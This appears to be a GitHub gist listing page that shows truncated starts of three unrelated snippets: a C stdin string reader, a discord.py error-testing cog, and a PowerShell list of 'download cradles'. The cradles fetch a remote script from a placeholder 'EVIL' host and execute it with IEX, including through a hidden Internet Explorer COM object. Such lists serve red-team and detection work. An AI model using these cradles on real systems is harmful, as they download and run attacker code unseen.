Author: John A. Fedoruk <johnny@johnfedoruk.ca>
Key ID: 8937446102D51067EB90DB6AB229A6E87086AD48
Date: 2019-07-03
Covers different areas of programming and the best practices/components explained.
A crate that contains a trait StructOpt. Allows a structure Opt to be converted
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> /* getchar() */ | |
| #include <stdlib.h> /* malloc(), realloc() */ | |
| #include <string.h> /* memcpy() */ | |
| /* ----------------------------------------------- | |
| * Create a new string (NUL-terminated array of chars) by reading the stdin. | |
| * Return the newly created string, or NULL on error. | |
| * Args: | |
| * int beExact: If 0 (false), then the size of the created string will | |
| * be an exact multiple of the internally used alloc-ahead |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| """ A Cog dedicated to raise every discord.py error on command with the purpose of testing error handling. """ | |
| import discord | |
| from discord.ext import commands | |
| from discord.ext.commands import Context, Bot, Cog | |
| """ Command Errors: | |
| https://discordpy.readthedocs.io/en/latest/ext/commands/api.html#exception-hierarchy | |
| ConversionError |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |